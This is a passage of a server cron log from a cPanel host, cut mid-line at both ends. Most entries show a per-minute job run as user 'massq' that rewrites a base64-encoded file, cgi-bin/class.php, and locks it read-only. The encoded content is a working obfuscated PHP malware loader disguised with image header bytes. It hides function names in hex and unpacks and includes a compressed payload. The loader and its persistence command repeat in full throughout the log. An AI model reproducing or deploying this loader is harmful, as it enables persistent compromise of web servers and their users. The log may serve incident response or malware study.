BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:31:01 server CROND[2331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:32:01 server CROND[2381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:33:01 server CROND[2448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:34:01 server CROND[2501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:35:01 server CROND[2679]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:35:01 server CROND[2682]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 09:35:01 server CROND[2681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:35:01 server CROND[2685]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 09:35:01 server CROND[2684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:36:01 server CROND[2806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:37:01 server CROND[2869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:38:01 server CROND[2949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:39:01 server CROND[3008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:39:01 server CROND[3009]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 09:40:01 server CROND[3178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:40:01 server CROND[3179]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 09:40:01 server CROND[3180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:40:01 server CROND[3182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:41:01 server CROND[3297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:42:01 server CROND[3362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:42:01 server CROND[3363]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 09:43:01 server CROND[3416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:44:01 server CROND[3465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9J